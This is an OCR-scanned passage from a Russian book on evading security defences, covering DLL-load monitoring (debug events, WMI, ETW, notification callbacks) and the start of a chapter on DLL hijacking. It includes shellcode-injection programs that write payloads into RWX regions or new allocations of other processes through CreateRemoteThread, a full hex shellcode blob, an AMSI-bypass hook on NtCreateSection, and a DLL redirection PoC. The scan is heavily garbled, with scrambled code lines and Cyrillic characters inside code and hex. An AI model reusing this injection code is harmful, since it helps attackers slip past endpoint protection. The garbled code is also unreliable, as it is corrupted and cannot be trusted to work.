Глава Изучаем методы предотвращения подгрузки 18. return 357 DLL О; Тем не менее этот метод нам не очень подходит, т. к. его легко обойти: достаточно инжектиться в регионы, уже имеющие статус R WX. Например, вот так: "pch.h" <iostream> <Windows.h> <TlHelp32.h> #include #include #include #include int main 1) {}; MEMORY BASIC INFORМATION mЬi LPVOID offset = О; НANDLE process = NIJLL; НANDLE snapshot = CreateToolhelp32Snapshot(TH32CS SNAPPROCESS, PROCESSENTRY32 processEntry = {}; processEntry.dwS1ze = sizeof(PROCESSENTRY32); DWORD bytesWritten = О; unsigned char shellcode[] = " ... "; О}; Process32First(snapshot, &processEntry); while (Process32Next(snapshot, &processEntry)) process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); i f (process) std: :wcout << processEntry.szExeFile << "\n"; while (VirtualQueryEx(process, offset, &mЬi, sizeof(mЬi))) offset = (LPVOID) ( (DWORD_PTR)mЬi.BaseAddress + mЬi.RegionSize); if (mЬi.AllocationProtect == PAGE_EXECUTE_READWRITE && mЬi.State == && PRIVATE) МЕМ СОММIТ mЬi. Туре МЕМ std:: cout « "\ tRWX: Ох" « std:: hex « mЬi. BaseAddress « "\n"; WriteProcessMemory(process, mЬi.BaseAddress, shellcode, sizeof(shellcode), NULL); CreateRemoteThread(process, NULL, NULL, (LPTHREAD START_ROUTINE)mЬi.BaseAddress, NULL, NULL, NULL); offset = О; CloseHandle(process); return О;
358 Другой вариант Часть - 111. Способы обхода средств защиты информации инжектиться через удаленные потоки. К моему удивлению, в ответ на такой инжект защита не сработала. #include <iostream> #include <Windows.h> int main(int argc, char *argv[]) unsigned char shellcode[] = "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xЬb\xld\xЬe\xa2\x7b\x2b\x90\xel\xec\x48\x31\x58" "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xel\xf6\x21\x9f\xdЬ\x78" "\х21\хес\хld\хЬе\хе3\х2а\хба\хс0\хЬЗ\хЬd\х4Ь\хfб\х93\ха9\х4е" "\xd8\xбa\xЬe\x7d\xf6\x29\x29\x33\xd8\x6a\xЬe\x3d\xf6\x29\x09" "\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xЫ\x82\xc3" "\x07\x29\xЬc\xcl\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff" "\xf3\x33\xa0\xc2\xcl\x67\x5f\x82\xea\x7a\xfb\xlb\x61\x64\xld" "\xЬe\xa2\x33\xae\x50\x95\x8b\x55\xЬf\x72\x2b\xa0\xd8\xf9\xa8" "\х96\хfе\х82\х32\х2а\х40\х02\хЬа\х55\х41\хбЬ\х3а\ха0\ха4\х69" "\xa4\xlc\x68\xef\x4a\xe2\xd8\xd0\x2c\xЬ1\xff\x63\xЬ2\x26\xdl" "\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfЬ\x9b\xaa\x5e" "\x48\xЬ9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xЬ2\xea\x3f" "\xa0\xd0\xfd\xa5\xlc\xбe\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa" "\х3а\х73\хсе\хЬ8\хЬ6\х5с\хеб\хе3\х22\хба\хса\ха9\хбf\хf1\х9е" "\xe3\x29\xd4\x70\xЬ9\xad\x44\xe4\xea\xf0\x39\x79\xЬ6\x13\xe2" "\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xdl\xЬ7\xa5" "\x94\x58\xea\xfa\xc7\x30\xe0\xec\xld\xf7\x2b\x9e\x62\x2c\xe3" "\хес\хlс\х05\ха8\х7Ь\х2Ь\х95\ха0\хЬ8\х54\х37\х46\х37\ха2\х61" "\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b" "\х90\хЬ8\хаd\ха7\х97\х22\х10\х2Ь\хбf\х34\хЬс\х4d\хfЗ\х93\хЬ2" "\x66\xal\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\xle\x2c\x55\x37\x63" "\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6" "\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xfl\xle\x39\x55" "\x3f\x66\x3b\x29\x90\xel\xa5\xa5\xdd\xcf\xlf\x2b\x90\xel\xec" "\xld\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\xla\x50\x8b" "\xel\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\xld" "\xa5\xc8\x05\x78\xa2\xl3\x63\x19\x07\xЬa\x4d\xff\xf2\x3a\x7b" "\xdl\xЬ1\xa5\xe2\x7e\xe3\x2b\x62\xбf\x29\xal\x94\x7f\xee\xf2" "\xea\xdl\x5b\x95\xdl\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68" "\xf0\x25\xdl\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\xll\x59\xЬf\xe8" "\xe3\xcl\x8d\x05\x5c\x71\xe2\xбb\xea\xf8\xef\xЬ8\xdd\xea\x61" "\xЬ4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xЬ8\xad" "\x94\x64\x5d\xae\x2b\x90\xel\xec"; processHandle; remoteThread; PVOID remoteBuffer; НANDLE НANDLE
Глава 18. Изучаем методы предотвращения подгрузки 359 DLL printf :"InJect:ing to PIC:: :i", atoi(argv[l] 11; prccessHandle = OpeпProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[l] 111; remoteBuffer ~ VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE MEM_COMMITI, PAGE_EXECUTE_READWRITEI; WriceProcessMeпюry(processHaпcile, remoteBuffer, shellcode, sizeof shellcode, NULLI; remoteTr,read = CreateRemoteThread (processHandle, NULL, О, (LPTHREAD_START_RCUTINElremoteBuffer, NULL, О, NULL); CloseHancile (prccessHandle 1; Запуск процесса с DEBUG Метод основан на запуске процесса с флагом DEBUG_ONLY_ тнrs _PROCESS. Это приводит к тому, что родительский процесс может действовать в качестве отладчика для но­ вого процесса. Так наша программа может установить собственные колбэки, кото­ рые будут вызваны при появлении определенных событий. Таким образом мы можем контролировать все, что происходит с процессом. Для предотвращения под­ грузки DLL нужно установить флаг LOAD_DLL_DEBUG_EVENT, который сработает после загрузки DLL-биб.тиотеки в процесс, но до того, как из нее будет вызвана функция DllMain ! ) . Фактически наш родительский процесс просто будет проверять загружаемую в до­ черний процесс DLL. Если это была нелеrитимная DLL, то функция просто про­ патчит ее Entrypoint, и инициализировать DLL будет невозможно (рис. 18.7). i• (ShouldBlockDLL(dllPath)) Tuple(long, long > addre ssRange .. '"'-"'• Tuple <long, long ' ( ( long) imageBa se , (l ong)imageBase " si::eOfimage); blockAddressRanges .Acld(addressRange); Console . \✓ riteLi ne($" [ •] Blocked Dll {dllPath}"); byte[] retlns • . "•• byte [ 1 J { 0хСЗ }; uint b),'t_es\-Jri tten; Console ._ Wгi tetine(" ( +] Patching Dll Entry Point at 0х{0: х} ", entгyPoint. Toint64()); if (WriteProcessMemory(hProcess, entryPoint" retins, 1" out bytesWritten)) Con~ote. \-Jri t~Line(" ( +] Successfully patched DLL Entry Point"); else { Console .Hriteline("( l] Failed patched Dll Entry Point with erгor 0х{0:х}", гeturn dllPcЭth .'тOstring(); . Рис. На GitHllb 18.7. Как делает SharpBlock есть два проекта, реализующих этот метод: □ Debщ~Amsi (https://github.com/МzHmO/DebugAmsi); □ Shai·pB lock ( https://github.com/CCoЬ/SharpВlock). Иarsh al .GetLast1'1in32Er ror ());
Часть 360 111. Предлагаю написать минимальный РоС Способы обхода средств защиты информации - будем запускать калькулятор и отсле­ живать его библиотеки. #include <Windows.h> #include <iostream> #include <string> DWORD WINAPI DebugLoop(LPVOID lpParam) { hProcess = static_cast<НANDLE>(lpParam); DEBUG_EVENT debugEvent; DWORD continueStatus = DBG CONTINUE; НANDLE while (WaitForDebugEvent(&debugEvent, INFINITE)) { switch (debugEvent.dwDebugEventCode) case LOAD- DLL- DEBUG- EVENT: char szName[МAX_PATH]; if (GetFinalPathNameByHandleA(debugEvent.u.LoadDll.hFile, szName, МАХ_РАТН, VOLUМE NАМЕ std: :cout << "DLL Loaded: " « szName << std: :endl; std: : cout « "Base Address: " « debugEvent. u. LoadDll. lpBaseOfDll « std: : endl; CloseHandle(debugEvent.u.LoadDll.hFile); break; ContinueDebugEvent(debugEvent.dwProcessid, debugEvent.dwThreadid, continueStatus); return О; int main() LPCWSTR exePath = L"c:\\windows\\system32\\calc.exe"; STARTUPINFO si; PROCESS_INFORМATION pi; ZeroMemory(&si, sizeof(si) 1; si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi) ); 00S) )
Глава 18. Изучаем методы предотвращения подгрузки DLL 361 if ( 1 CreateProcess(exePath, NULL, NULL, NULL, FALSE, DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi)) std:: cerr « return 1; "UnaЬle to create process 1 "; DebugLoop((LPVOID)pi.hProcess); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return О; Код проще некуда: сначала идет стандартное создание процесса, затем в бесконеч­ ном цикле ловим DеЬug-события с помощью функции WaitForDebugEvent () (https://learn. microsoft.com/en-us/windows/win32/api/debugapi/nf-de bugapi-waitfordebugevent), а потом обрабатываем событие LOAD_DLL_DEBUG_EVENT (рис. 18.8). Как вы понимаете, с базовым адресом библиотеки можно обратно перехватить кон­ троль у атакующего, пропатчить Entrypoint, снять хук и т. д. Кстати, мы можем прицепиться и к уже работающему процессу с помощью функции DebugAct i veProcess ( ) ( https://lea rn.m icrosoft.com/en-us/windows/win32/api/debuga pi/ nf-debugapi-debugactiveprocess). Подробно эту функцию я буду разбирать в главе 21. Гё:v A:\SSD\ ProJectsVS\ DIIC р р\х 64\ Debugl ProtectedProcess.e, е DLL Loaded: \\?IC:\Windows\System321ntdll.dll Base Address: 00007FF9CDE30000 DLL Loaded: \\'\C : \i•lindo:-1s\Systen1321kernel32.dll Base Address: 00007FF9CD730000 DLL Loaded : \\?\С: \1•Jin,io,-1s \ S\' s tem32 \ KernelBase. dl l Base Address: 00007FFC(87C0000 DLL Loaded : ll'IC:\Windows1System32\shell32 . dll Base дddress: 00007FF9CCE40000 DLL Loaded: l\>\(:IWindows1System32 1 msvcp_win.dll Base Address : 00007FF9CBAE0000 DLL Loaded: ll'\C:1windows1System32\ucrtbase.dll Base Address: 00007FF9CBD30000 DLL Loaded: l\'IC:\Windows\System32 1 user32 . dll Bas e Addr e ss: 00007FF9CD590000 DLL Loaded: \\?\C:\Windows\System32\win32u . dll Base Address: 00007FF9C8E30000 DLL Loaded: \\?\C:\Windows\System321gdi32.dll Base Address: 00007FF9CC730000 DLL Loaded : ll'IC:\Windows 1 System32\gdi32full.dll Base Address: 00007FF9CB510000 DLL Loaded : \\'IC : \l•lindo,.,s\Systen132\ms•.,crt.dll Base Address: 00007FF9CD310000 DLL Loaded: 1\'1C : \Windows\System32\advapi32.dll Ba se Address: 00007FF9CC110000 DLL Loaded: l\?\C:\windows\System32\sechost.dll Base Address: 00007FF9CC690000 DLL Loaded: \\?\C:\I.Jindo,,,s\System32\rpcrt4.dll Ba se Address: 00007FF9CDC60000 DLL Lo aded: \\>\c:\Windows\System32\imm32 . dll Ba se Addre s s: 00007FF9CD980000 Рис. 18.8. Получение информации □ х
362 Часть///. Способы обхода средств защиты информации Хук на NtCreateSection Простой вариант Этот способ обхода основан на перехвате функции NtCreateso,·t,, r:,,. которая вызы­ вается при попытке загрузить Если мы можем DLL поставить в адресное пространство 11ро11есса. хук на NtCreateSect1oг. i 1 (либо :-;тJр, 0 11,: 1, , . либо NtMapViewOfSection (1), то у нас получится перехватить попытку ~1аmн1111 а t', 11амять процесса кода DLL, а затем вернуть NTSTAТUS FAILEC это бу,Jет означать. что ,1ап­ пинг невозможен. Как следствие, библиотека не будет загружена. Либо ~южсм вер­ нуть фейковый хендл на загруженную библиотеку. что также сделает ее выполне­ ние невозможным. Проблема этого метода лишь в том, что он сработает только для DIJ". которые бу­ дут подгружаться в процесс после установки хука. Если они подгружаюл.:я раньше. то ничего не сработает. Тем не менее есть более хитрый вариант. Обычно этот метод используется антивирусами. чтобы отслеживать. что ,1аппится в память. Причем мы можем поставить этот хук как в своем процессе. так и в чу­ жом, если сможем запросить на него маску доступа PROCESS _vм _l'iPITE. Хук мы можем поставить на NtOpenFile ( 1, NtCreat.eSection i I или NtHap\'1 ,,wCJf'\,ct i л,, 1. Когда увидим, что зловредная библиотека пытается загрузиться. предотвратим это, вернув неверный дескриптор DLL. Для этой техники есть полноценный РоС на GitHub: https://github.com/waawaa/ AMSI_ Rubeus_ bypass. В примере будем использовать хук на NtCreateSection ( 1. Основная логика - в этих строчках кода: std: :string data_hash2[] ~ //SНА25Е of the IJNC dll and other Windows Defender injected D11s "fbdl3447dcd3ab91ЬЬ0d2324elleca986967c99dcd324b00f9577010c6080413", Path of the AМSI "856efelb2c5b5716b4d373ЬЬ7205e742da90d5125637lc582ce82b353d900186", "d8d52609d0c8ld70bf44cb3cd5732alc232cc20c25342d0all8192e652al2d98", "a75589e0dlb5b8f0ad28f508ed28dflb4406374ac48912lc895170475fe3ef74" ); //array with the file hashes NTSTATUS ntCreateMySection(OUT PНANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_AТTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPТICNAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN НANDLE FileHandle OPTIONAL) /*Bypass AМSI*/ int isFinal = О; char lpFilename[256]; if (FileHandle != NULL)
Глава 18. Изучаем методы предотвращения подгрузки 363 DLL DWORD res = GetFinalPathNameByHandleA(FileHandle, lpFilename, 256, FILE_NAМE_OPENED 1 VOLUМE_NAМE_OOS); //Get the file path of the file handle if (res == О) printf ("GetFinalPathNameByHandleA error: %d\n", GetLastError ()); else std: :string hash = sha256(std::string(lpFilename)); //Compute the SНА256 hash of the file path (only the hash of the name, not the file) unsigned int arrSize = sizeof(data_hash2) / sizeof(data_hash[0]); //Get the size of the array for (int counter = О; counter < arrSize; counter++) //Loop each position of the array if (hash.compare(data_hash2[counter]) == О) //If hash of the DLL to load is equal to any of the array hashes return О return -1; restore_hook_ntcreatesection(SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, PageAttributess, SectionAttributes, FileHandle); //If it's not an AМSI DLL restore the original NtCreateSection return 1; В начале кода - массив, содержащий список хешей от имен DLL, загрузку кото­ рых мы хотим обрабатывать. Полный путь до подгружаемой библиотеки получен С ПОМОЩЬЮ GetFinalPathNameByHandleA (). Если хеш содержится в нашем списке, то возвращаем ошибку ( -1 в NTSTAтus равно­ значно ошибке), если нет, то дергаем реальный NtCreateSection () и позволяем про­ цессу нормально обрабатывать загрузку. Если хеша в массиве нет, перенаправляем поток управления к реальному NtCreateSection (1 и позволим процессу маппить библиотеку. Модифицированный вариант Предыдущую технику можно усовершенствовать. Процесс, созданный с флагом CREATE_SUSPENDED или DEBUG_PROCESS, будет иметь в адрес­ ntdll.dll. Такова особенность Windows. Помните главный минус хука NtCreateSection () в рассмотренном выше простом вари­ ном пространстве только одну DLL - анте? Если хук очень долго ставится, то библиотеки успеют подгрузиться! Именно поэтому мы должны запускать процесс в приостановленном виде, ставить хук на NtCreatesection () и лишь затем возобновлять процесс. Тогда мы сможем кон-
Часть 364 111. Способы обхода средств защиты информации тролировать абсолютно все загружаемые в процесс библиотеки. Даже муха не про­ скочит! На этом основан РоС Ruy-Lopez (https://github.com/S3cur3ThlsSh 1t/Ruy-Lopez). WMI У WMI есть отличный класс Win32 _ModuleLoadTrace (https://learn.microsoft.com/en-us/ previous-versions/windows/desktop/krnlprov/win32-moduleloadtrace), в котором куча информации! Можно подписаться на него, а затем узнавать буквально обо всех случаях подгрузки библиотек в Windows. Информацию сможем извлечь сле­ дующую: [AМENDMENT] class Win32 ModuleLoadTrace : Win32 ModuleTrace uint8 uint64 string uint64 uint64 uint32 uint64 uint32 uint32 SECURITY DESCRIPTOR[]; TIME CREATED; FileName; DefaultBase; ImageBase; ImageChecksum; ImageSize; ProcessID; TimeDateSTamp; ); Единственный минус WMI. Поэтому перейдем на (https://learn.microsoft.com/ru-ru/dotnet/ api/system.management.managementeventwatcher?view=dotnet-plat-ext-8.0), кото­ - на «плюсах» тяжко работать с С#. У С# есть класс ManagementEventWatcher рый позволяет подписаться на определенные события. Подписка заключается в ре­ гистрации колбэка, который будет вызываться каждый раз при появлении события. using System; using System.Diagnostics; using System.Management; puЫic class Program puЫic static void Main() ManagementEventWatcher watcher = new ManagementEventWatcher( new WqlEventQuery("SELECT * FROM Win32_ModuleLoadTrace")); watcher.EventArrived += new EventArrivedEventHandler(ModuleLoadНandler); watcher.Start(); Console.WriteLine("Monitoring DLL loading. Press any key to exit."); Console.ReadKey();
Глава 18. Изучаем методы предотвращения подгеrзки 365 DLL watcher.Stop(); watcher.Dispose(); static string GetProcessNameByPid(string pidString) puЫic string processName = "Unknown"; if (int.TryParse(pidString, out int pid)) try ( Process process = Process.GetProcessByid(pid); processName = process.ProcessName; catch (ArgшnentException ех) Console.WriteLine($"No process with PID {pidl is currently running: {ex.Messagel"I; catch (Exception exl Console.WriteLine($"Error retrieving process name: {ex.Messagel"); else Console.WriteLine($"Invalid PID format: {pidStringl"); return processName; private static void ModuleLoadНandler(object sender, EventArrivedEventArgs е) ManagementBaseObject evt = e.NewEvent; Console.WriteLine("NEW DLL Loaded"); Console.WriteLine("\tFileName: "+ evt["FileName"]); Console.WriteLine("\tBaseAddress: Ох"+ ((Uint64)evt["ImageBase"]) .ToString("X")); Console.WriteLine("\tSize: " + evt["ImageSize"]); Console.WriteLine("\tPID: "+ evt["ProcessID"]); Console.WriteLine("\tProcessName: "+ GetProcessNameByPid(evt["ProcessID"] .ToString())); В качестве колбэка указываем функцию ModuleLoadНandler (), где обрабатываем и из­ влекаем инфу из класса Win32 _ModuleLoadTrace (рис. 18.9). Есть и более серьезные РоС, например ModuleMonitor (https://github.comfГheWover/МoduleMonitor).
366 Часть 111. Способы обхода средств защиты информации о :r: )Е о ~ м о "' QJ :r: о: ,..su.,, а. :ff:r: 1Х) ai ...cxi,.; s о..
Глава 18. Изучаем методы предотвращения подгрузки DLL 367 DLL Notification Callbacks Сам механизм DLL Notification служит для защиты от DLL Proxying. Этот меха­ низм позволяет зарегистрировать колбэк, который вызывается при подгрузке DLL или выгрузке ее из процесса. Для этого используется специальная функция 1dr011Notification (https://learn. microsoft.com/en-us/windows/win32/devnotes/ldrdllnotification): V0I0 СА11ВАСК 1dr011Notification( NotificationReason, U10NG In PC10R_011_NOTIFICATI0N_0ATA Notification0ata, In Context _In_opt_ PV0ID ); С помощью этой функции можно зарегистрировать колбэк, который будет вы­ зван при загрузке в процесс или выгрузке DLL. Сам колбэк определен в 1drRegister0llNotification (https://learn.microsoft.com/en-us/windows/win32/devnotes/ ldrregisterdllnotification). Причем колбэков можно количество - все они будут вызваны по очереди. Кстати, этот механизм использует Единственный минус являть вручную (рис. - здесь 18.1 О). регистрировать неограниченное Discord! используется куча структур, которые придется объ­ #include <Windows.h> #include <stdio.h> typedef struct _UNIC00E_STR ( USHORT 1ength; USHORT MaximumLength; PWSTR pBuffer; UNIC0DE_STR, * PUNICO0E_STR; typedef struct _10R_011_10A0E0_NOTIFICATION_0ATA { // Reserved. Flags; U10NG // The full path name of the 011 module. Full0llName; STR PUNIC00E // The base file name of the 011 module. PUNIC00E STR Base0llName; // А pointer to the base address for the 011 in memory. 0llBase; PVOI0 // The size of the 011 image, in bytes. SizeOfimage; U10NG 10R_011_10A0E0_N0TIFICATION_0ATA, * P10R_011_10A0E0_N0TIFICATION_0ATA; typedef struct _10R_011_UN10A0E0_N0TIFICATI0N_0ATA { // Reserved. Flags; U10NG // The full path name of the 011 module. PUNIC00E_STR Full0llName; // The base file name of the 011 module. PUNIC00E STR Base0llName; // А pointer to the base address for the D11 in memory. DllBase; PV0ID
368 Часть 111. Способы обхода средств защиты информации о :r ЭЕ о ..,:::; о а1 ф :r "'u ...s .а а. c:t ф :r 11) о ~ со ~ ..,; :s: о.
Глава 18. Изучаем методы предотвращения подгрузки DLL 369 // The size of the DLL image, in bytes. SizeOfimage; ULONG LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA; typedef union _LDR_DLL_NOTIFICATION_DATA { LDR- DLL- LOADED- NOTIFICATION - DATA Loaded; LDR- DLL- UNLOADED- NOTIFICATION- DATA Unloaded; LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION DATA; typedef VOID(CALLBACK* PLDR_DLL_NOTIFICATION_FUNCTION) ( NotificationReason, ULONG PLDR_DLL_NOTIFICATION_DATA NotificationData, Context); PVOID typedef struct LDR- DLL - NOTIFICATION - ENTRY LIST ENTRY List; PLDR- DLL- NOTIFICATION - FUNCTION Callback; Context; PVOID LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION ENTRY; typedef NTSTATUS (NTAPI* _LdrRegisterDllNotification) ( Flags, ULONG PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, Context, PVOID PVOID* Cookie); typedef NTSTATUS(NTAPI* LdrlJnregisterDllNotification) (PVOID Cookie); VOID MyCallback(lJLONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context) printf("[MyCallback] dll loaded: %2\n", NotificationData->Loaded.BaseDllName); int main () НМODULE hNtdll if (hNtdll 1 = GetModuleHandleA ("NTDLL. dll" 1; = NULL) { LdrRegisterDllNotification pLdrRegisterDllNotification = (_ LdrRegisterDllNotif ication) GetProcAddress (hNtdll, "LdrRegisterDllNotification"); PVOID cookie; NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR DLL NOTIFICATION FlJNCTION)MyCallback, NULL, &cookie); if (status == О) { printf("[+] Successfully registered callback\n");
Часть 370 ///. Способы обхода средств защиты информации printf("[+] Press enter to continue\n"); getchar(); printf("[+] Loadшg USER32 DLL now\n"); LoadLibraryA ("USER32. dll"); ETW (Kernel Provider) Этот подход, я думаю, можно считать наиболее эффективным. Проблема лишь в том, что потребуется запуск нашего кода от лица локального администратора либо любого другого привилегированного пользователя. Если углубляться в то, как программировать под ETW, то придется писать целый цикл статей, но не рассказать об этом способе я посчитал преступлением, поэтому рассмотрим все на некотором уровне абстракций. Один из фундаментов ETW - провайдеры. - Kernel Provider. особый тип провайдеров его Провайдеры генерируют события. Есть Его имя - Windows Kemel Trace, а вот GUID: 9E814MD-3204-11D2-9A82-006008A86939 К нему тоже можно получить доступ с помощью переменной SystemTraceControlGuid, определенной в evntrace. h. Этот провайдер позволит нам отслеживать события, ха­ рактерные для ядра Windows. Например, запуск процессов, подгрузку библиотеки и прочее. Изучить доступные события, которые генерирует провайдер, можно с помощью вот такой команды (рис. 18.11 ): logman query providers "Windows Kernel Trace" Описания отдельных событий ядра вы найдете в документации: https://docs.microsoft.com/en-us/windows/win32/etw/ms nt-systemtrace. До Windows 8 с провайдером ядра можно было установить только один сеанс, который должен был называться NТ Kernel Logger. К счастью, сейчас такие огра­ ничения сняты, сессий может быть бесконечно много, а имя сессии может быть любым. Ядро может одновременно сообщать сразу о разных типах событий. Например, о создании процесса и о подгрузке библиотеки. Пример кода для 1юдписи на Kernel Provider можно взять на GitHub (https:// gith u b.com/zod iaco 11 '\Vi n 1OSysProgBookSam ples/ЫoЬ/master/Chapter20/КernelET W /КernelETW .срр i, от код отлично подходит для иллюстрации возможностей ETW.
Глава 18. Изучаем методы предотвращения подгрузки Рис. 18.11. Что предоставляет 371 DLL Kernel Provider х Страницы свойств САрр Конфиrурация: ~•ная (Debug) _ _ _ _ _"...,] Платформа: ~•ная (хб4) _ " _.._ _ _~ "..,1 !jfспетч; конфиrураций"J Свойства конфиrурации Общие Jlоt(.мьн.ый OTJIOД\/ltKWindows Доnолнитиtьно ~ - Отладка Каталоги -~ VC++- S(ТargetPath) -rlmage S(ProjIODir) С/С++ Ра6оч'4Й QтaJIOГ ~ Компоновщик ~ Инструмент манифеста Прмсоедин'4ТЬОI Нет ~ Генератор ХМ L-докумек, Тип от11адчика Аето ~ Информация 06 исходно Окружение ~ События сборки Обыдмнение Оtеру)l(ения ~ Настраиа.аемый этап сбо OтлilJll(il Code Analysis Да SQl Ускоритель no умолчанию AJIA АМР Нет Ускорите11ь ПО WARP Apryмetm,I~ Арrум~ы AJ\A rомаНАно;\ CТl)()l()I, rоторые 6УАУТ ~реданы nрИJ1ожемию. < J > ок Рис . 18.12. Настройка Visual Studio Отмена -, Прим tll<Ть
372 Часть ///. Способы обхода средств защиты информации ,. Q) f0 s с; 1О s 1О .,,.<11 >~ q о ,:: s ~ ш ... ...cci.; м :s: n.
Глава 18. Изучаем методы предотвращения подгрузки 373 DLL Для извлечения информации о подгружаемых библиотеках настройте проект так, как показано на рис. 18.12. И сможете извлекать информацию о библиотеках (рис. 18.13). Заключение Обнаружить, предотвратить, обезвредить... Разработчикам теперь недостаточно просто писать код. Нужно уметь еще и защитить его. К счастью, методов очень много, но стоит помнить, что на любую защиту найдется атака. Таков мир инфор­ мационной безопасности!
ГЛАВА 19 Ищем в Windows лазейки для исполнения стороннего кода Внутри Windows кроется огромное количество интересных и неочевидных возмож­ ностей. В этой главе я покажу, как заставить операционку загрузить нашу библио­ теку в любой процесс! Одна из самых популярных атак, направленных на повышение привилегий, DLL Hijacking. - это Чтобы ее провести, атакующий помещает свою вредоносную биб­ лиотеку на пути поиска легитимной DLL. Это приводит к тому, что целевое прило­ жение подгружает стороннюю либу и выполняет вредоносный код. На первый взг:1яд такая атака кажется очень простой. Я бы даже сказал - прими­ тивной. Тем не менее существует несколько подводных камней, которые часто упускают из вида атакующие. Во-первых, многие забывают сделать DLL Proxying до целевой библиотеки, что приводит к поломке всего· приложения. Оно крашится, т. к. пытается вызвать функ­ цию из библиотеки, в которой нужного кода нет. Во-вторых, иногда вызов функций вроде LoadLibrary (), CreateProcess () и CreateThread () помещают в функцию DllMain (), что приводит к дедлоку ма (Dead Lock) из-за механиз­ Loader Lock. Loader Lock выступает в качестве критической секции (примитив синхронизации потоков процесса). блокируется до момента снятия Фактически выполнение потока программы Loader Lock. ПРИМЕЧАНИЕ Подробнее о Loader Lock - в блоге Elliot elliotonsecurity.com/perfect-dll-hijacking/), security .com/what-is-loader-lock/). оп Security: Perfect DLL Hijacking (https:/1 What is Loader Lock (https:/lellioton В-третьих, существуют некоторые факторы, влияющие на порядок поиска Стандартные пути поиска изображены на рис. Это так называемый SafeDllSearchМode. Если DLL. 19.1. он отключен, то после Application Directory функция LoadLibrary* () смотрит Current Directory. Отключить SafeDllSearchМode можно, выставив в ноль значение по этому пути: HКEY_LOCAL_МACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchМode
Глава 19. Ищем в Windows лазейки для исполнения стороннего кода 375 ,s; :а :,: .D ~"' >:s: s; g- g о i с Папка приложений V Папка System32 (C:\Windows\System32\) V Системная папка (C:\Windows\System\) V Папка Windows (C:\Windows\) V Текущая рабочая папка (CWD) 'V' Папки , перечисленные в %РАТН% Рис. 19.1. Где Еще один фактор, влияющий на поиск, Windows ищет - DLL это функция LoadLibraryEx 1), вызванная со значением LOAD_wrтн_ALTERED_SEARCH_PATH. В таком случае первым делом DLL ищутся по пути, указанному внутри этой функции. Помимо прочего, существуют встроенные механизмы Windows, которые позволяют внедрить нашу библиотеку в целевой процесс. В документации Microsoft (https:// learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order# factors-that-affect-searching) есть упоминание некоторых из них. Давай изучим их подробнее. DLL Redirection Для обычных исполняемых файлов DLI, Redirection вать разные версии специальный механизм, позволяющий программам использо­ DLL для своих задач, причем не затрагивая обычные системные библиотеки. Действие распространяется только на функции LoadLibrary* 1 ! . Фактически, независимо от того, указан ли в ней полный путь (с: \Windows\ System32\dll.dll) или короткий (dll.dll), функция проверит, присутствует ли в теку­ щей директории (в которой находится приложение, вызвавшее эту функцию) файл с расширением . local. И если присутствует, то функция LoadL1brary* 1) в любом слу­ чае загрузит в первую очередь DLL из текущей директории приложения.
Часть 376 Имя файла . local 111. Способы обхода средств защиты информации должно быть таким же, как и название процесса, из которого вы­ звана функция LoadLibrary (). Например, если приложение - Edi tor. ехе, то имя файла должно быть Editor.exe.local. Представим, что этот самый C:\myapp\Editor.exe попытается через LoadLibrary*() загру­ зить какую-нибудь либу. Например, такую: C:\Program Files\Common Files\System\mydll.dll Тогда LoadLibrary* () проверит существование файла Edi tor. ехе. local в директории, где лежит Editor.exe. Если файл .local найдется, то функция попытается сначала загру­ зить mydll.dll из текущей директории. То есть сначала проверяется этот путь: C:\myapp\mydll.dll И если такого файла нет, то загрузится по указанному полному пути: C:\Program Files\Common Files\System\mydll.dll Самое интересное: мы можем создать не только файл Editor.exe.local, но и папку с таким названием, потому что содержимое файла случае DLL . local не проверяется. В таком будет подгружена по следующему пути: C:\myapp\myapp.exe.local\mydll.dll Итак, приступим к написанию РоС. Во-первых, нам нужно целевое приложение, которое будет подгружать библиотеку с указанием полного пути. Назовем это приложение Article.exe. #include <Windows.h> #include <iostream> int main() ( LoadLibraryW(L"C:\\Users\\Michael\\Desktop\\Redir.dll"); char а; std::cin » а; return О; В качестве легитимной библиотеки скомпилируем следующий Redir.dll. #include "pch.h" В001 APIENTRY DllMain( НМODULE hМodule, DWORD ul_reason for_call, LPVOID lpReserved switch (ul 